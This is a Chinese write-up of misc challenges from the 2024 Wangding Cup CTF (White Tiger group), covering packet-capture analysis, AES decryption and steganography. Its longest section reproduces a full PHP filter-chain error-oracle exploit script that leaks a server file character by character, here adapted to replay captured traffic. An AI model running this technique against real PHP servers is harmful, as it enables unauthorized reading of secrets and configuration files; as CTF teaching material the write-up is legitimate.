2024网鼎杯白虎组WriteUP

admin 2024年11月1日22:25:33评论175 views字数 15211阅读50分42秒阅读模式

刚结束了2024年网鼎杯白虎组,让我们一起回顾一下那些引人入胜的题目以及巧妙的解题思路吧!在今天的分享中,我们将深入探讨部分misc题目及其解答方法,希望能够为大家提供一些启发和帮助。








MISC
MISC1.

分组详情搜teid找到字段名

2024网鼎杯白虎组WriteUP

Tshark导出

tshark -r UPF.cap -T fields -e gtp.teid > 11.csv

直接对数据去重找到两个很可疑的,其他都是单个只有这俩是多个

2024网鼎杯白虎组WriteUP

2024网鼎杯白虎组WriteUP

2024网鼎杯白虎组WriteUP


拼接得到2235649299000124



MISC2

给的加密算法脚本使用AES算法的ECB模式进行加密。使用空格进行填充,确保明文长度是16的倍数,然后估计是需要找流量的 response 包,然后看了 response 的发现密文估计就是 截掉前面和请求包重复的字节(在第 14 个 response 找到了),这里看了一下发现 key 是 TEID

2024网鼎杯白虎组WriteUP

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendimport structimport binasciidef unpad(text):    return text.rstrip(b' ')def decrypt(key, ciphertext):    key_bytes = struct.pack('>I', key)    key_bytes = key_bytes.ljust(16, b'')    cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(),backend=default_backend())    decryptor = cipher.decryptor()    decrypted = decryptor.update(ciphertext) + decryptor.finalize()return unpad(decrypted)if __name__ == "__main__":    key = 0xc58e46cc    enc ='54ee51f3b3f4bfc7cb28ef496262e49e0389665b5eff669a237d9e71fb3acbecd73c8cd12d9314ff3473e4da6b701f4a'    data = binascii.unhexlify(enc)    decrypted_msg = decrypt(key, data)    print(decrypted_msg.decode())


MISC3

Web测信道的攻击流量,参考Webの侧信道初步认识 - Boogiepop Doesn't Laugh

提取全部的request url和对应的response code

import pysharkimport osimport urllib.parseimport json
result = []file_name = "0.pcapng"cap = pyshark.FileCapture(file_name, display_filter="http",tshark_path=r"D:webWiresharktshark.exe")for packet in cap: if "http" in packet: if "request_uri" in packet.http.field_names: uri = packet.http.request_uri if uri == "/test.php": file_data = packet.http.file_data hex_data = file_data.split(':') byte_data = bytes(int(x, 16) for x in hex_data) value = byte_data[len("value=") :] value = urllib.parse.unquote(value) result.append(value) elif "response" in packet.http.field_names: response_code = packet.http.response_code result.append(response_code)with open("11.result",'w')as f: f.write(str(result))

直接在原先攻击的脚本基础上把发包改成解析payload即可

import astimport jsonimport pickleimport requestsimport sysfrom base64 import b64decode"""THE GRAND IDEA:We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LEfilter will blow up the string length by 4x every time it is used, which will quickly cause500 error if and only if the string is non empty. So we now have an oracle that tells us ifthe string is empty.
THE GRAND IDEA 2:The dechunk filter is interesting.https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724It looks like it was implemented for something http related, but for our purposes, the interestingbehavior is that if the string contains no newlines, it will wipe the entire string if and only ifthe string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with ourabove oracle! In fact we can verify that since the flag starts with D that the filter chain
dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
does not cause a 500 error.
THE REST:So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descentinto madness trying to figure out ways to:- somehow get other characters not at the start of the flag file to the front- detect more precisely which character is at the front"""with open("11.data", "r", encoding='utf-8') as f: loaded_list = ast.literal_eval(f.read()) data_dict = {} for i in range(0, len(loaded_list), 2): if i + 1 < len(loaded_list): # 确保有对应的状态码 payload = loaded_list[i] status_code = loaded_list[i + 1]
# 检查是否有重复的 payload if payload in data_dict: print(f"重复的 payload: {payload}")
data_dict[payload] = status_code else: print(f"未成对的元素: {loaded_list[i]}") # 处理未成对的元素
def join(*x): return '|'.join(x)
def err(s): print(s) raise ValueError
def req(s): data = f"php://filter/{s}/resource=/flag" # print(data_dict) if data in data_dict: status_code = data_dict[data] else: print("not found") return status_code == "500"

"""Step 1:The second step of our exploit only works under two conditions:- String only contains a-zA-Z0-9- String ends with two equals signs
base64-encoding the flag file twice takes care of the first condition.
We don't know the length of the flag file, so we can't be sure that it will end with two equalssigns.
Repeated application of the convert.quoted-printable-encode will only consume additionalmemory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.If the double-base64 does not end with two equals signs, we will add junk data to the start of theflag with convert.iconv..CSISO2022KR until it does."""blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'blow_up_inf = join(*[blow_up_utf32] * 50)header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')baseline_blowup = 0for n in range(100): payload = join(*[blow_up_utf32] * n) if req(f'{header}|{payload}'): baseline_blowup = n breakelse: err('something wrong')print(f'baseline blowup is {baseline_blowup}')trailer = join(*[blow_up_utf32] * (baseline_blowup - 1))assert req(f'{header}|{trailer}') == Falseprint('detecting equals')j = [ req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'), req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'), req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')]print(j)if sum(j) != 2: err('something wrong')if j[0] == False: header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'elif j[1] == False: header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'elif j[2] == False: header = f'convert.base64-encode|convert.base64-encode'else: err('something wrong')print(f'j: {j}')print(f'header: {header}')"""Step two:Now we have something of the form[a-zA-Z0-9 things]==
Here the pain begins. For a long time I was trying to find something that would allow me to stripsuccessive characters from the start of the string to access every character. Maybe something likethat exists but I couldn't find it. However, if you play around with filter combinations you noticethere are filters that *swap* characters:
convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:abcdefgh -> badcfehg
convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:abcdefgh -> dcbahgfe
This allows us to access the first four characters of the string. Can we do better? It turns outYES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start ofthe string:
abcdefgh -> <0xff><0xfe>abcdefgh
The idea being that if we now use the r4 gadget, we get something like:ba<0xfe><0xff>fedc
And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid<0xfe><0xff> to get:bafedc
And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6thcharacters of the string. There's only one problem: our r4 gadget requires that the string lengthis a multiple of 4. The original base64 string will be a multiple of four by definition, so whenwe apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is nogood for our r4 gadget. This is where the double equals we required in step 1 comes in! Because itturns out, if we apply the filterconvert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
It will turn the == into:+---AD0-3D3D+---AD0-3D3D
And this is magic, because this corrects such that when we apply theconvert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
Let's recap. We have a string like:abcdefghij==
Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply convert.iconv.CSUNICODE.CSUNICODE:<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply r4 gadget:ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:bafedcjihg+0DAD3D3+0DAD3Dw==
Then apply r4 once more:efabijcd0+gh3DAD0+3D3DAD==wD
And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, butthe string still has two equals signs in it, so we can reapply the technique as many times as wewant, to access all the characters in the string ;)"""flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"r2 = "convert.iconv.CSUNICODE.UCS-2BE"r4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n): global flip, r2, r4 o = [] chunk = n // 2 if chunk % 2 == 1: o.append(r4) o.extend([flip, r4] * (chunk // 2)) if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2) return join(*o)
"""Step 3:This is the longest but actually easiest part. We can use dechunk oracle to figure out if the firstchar is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from thosechars. rot13 and string lower are helpful. There are probably a million ways to do this bit butI just bruteforced every combination of iconv filters to find these.
Numbers are a bit trickier because iconv doesn't tend to touch them.In the CTF you coud porbably just guess from there once you have the letters. But if you actually want a full leak you can base64 encode a third time and use the first two letters of the resultingstring to figure out which number it is."""rot1 = 'convert.iconv.437.CP930'be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'o = ''
def find_letter(prefix): if not req(f'{prefix}|dechunk|{blow_up_inf}'): # a-f A-F 0-9 if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'): # a-e for n in range(5): if req(f'{prefix}|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'edcba'[n] break else: err('something wrong') elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'): # A-E for n in range(5): if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'EDCBA'[n] break else: err('something wrong') elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'): return '*' elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # f return 'f' elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # F return 'F' else: err('something wrong') elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'): # n-s N-S if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'): # n-r for n in range(5): if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'rqpon'[n] break else: err('something wrong') elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'): # N-R for n in range(5): if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|' * ( n + 1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'RQPON'[n] break else: err('something wrong') elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # s return 's' elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # S return 'S' else: err('something wrong') elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # i j k if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'k' elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'j' elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'i' else: err('something wrong') elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # I J K if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'K' elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'J' elif req( f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'I' else: err('something wrong') elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # v w x if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'x' elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'w' elif req( f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'v' else: err('something wrong') elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # V W X if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'X' elif req( f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'W' elif req( f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'V' else: err('something wrong') elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # Z return 'Z' elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # z return 'z' elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # M return 'M' elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # m return 'm' elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # y return 'y' elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # Y return 'Y' elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # l return 'l' elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # L return 'L' elif not req( f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # h return 'h' elif not req( f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # H return 'H' elif not req( f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # u return 'u' elif not req( f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # U return 'U' elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # g return 'g' elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # G return 'G' elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # t return 't' elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # T return 'T' else: err('something wrong')
print()for i in range(100): prefix = f'{header}|{get_nth(i)}' letter = find_letter(prefix) # it's a number! check base64 if letter == '*': prefix = f'{header}|{get_nth(i)}|convert.base64-encode' s = find_letter(prefix) if s == 'M': # 0 - 3 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in 'CDEFGH': letter = '0' elif ss in 'STUVWX': letter = '1' elif ss in 'ijklmn': letter = '2' elif ss in 'yz*': letter = '3' else: err(f'bad num ({ss})') elif s == 'N': # 4 - 7 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in 'CDEFGH': letter = '4' elif ss in 'STUVWX': letter = '5' elif ss in 'ijklmn': letter = '6' elif ss in 'yz*': letter = '7' else: err(f'bad num ({ss})') elif s == 'O': # 8 - 9 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in 'CDEFGH': letter = '8' elif ss in 'STUVWX': letter = '9' else: err(f'bad num ({ss})') else: err('wtf')
print(end=letter) o += letter sys.stdout.flush()"""We are done!! :)"""print()d = b64decode(o.encode() + b'=' * 4)# remove KR paddingd = d.replace(b'$)C', b'')print(d)print(b64decode(d))

2024网鼎杯白虎组WriteUP


MISC4

2024网鼎杯白虎组WriteUP

水平翻转

2024网鼎杯白虎组WriteUP

改1后缀为压缩包,查看压缩包注释

2024网鼎杯白虎组WriteUP

爆破出来是8456

文件分离

2024网鼎杯白虎组WriteUP

2024网鼎杯白虎组WriteUP

png一把梭

2024网鼎杯白虎组WriteUP

得到一半flag,拼接上最上面的得到完整flag




欢迎师傅们加入我们:
ZeroPointZero安全团队纳新群1:553624735

有兴趣的师傅欢迎一起来讨论!

团队纳新简历投递邮箱:[email protected]


END

原文始发于微信公众号(ZeroPointZero安全团队):2024网鼎杯白虎组WriteUP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日22:25:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024网鼎杯白虎组WriteUPhttps://cn-sec.com/archives/3345447.html

发表评论

匿名网友 填写信息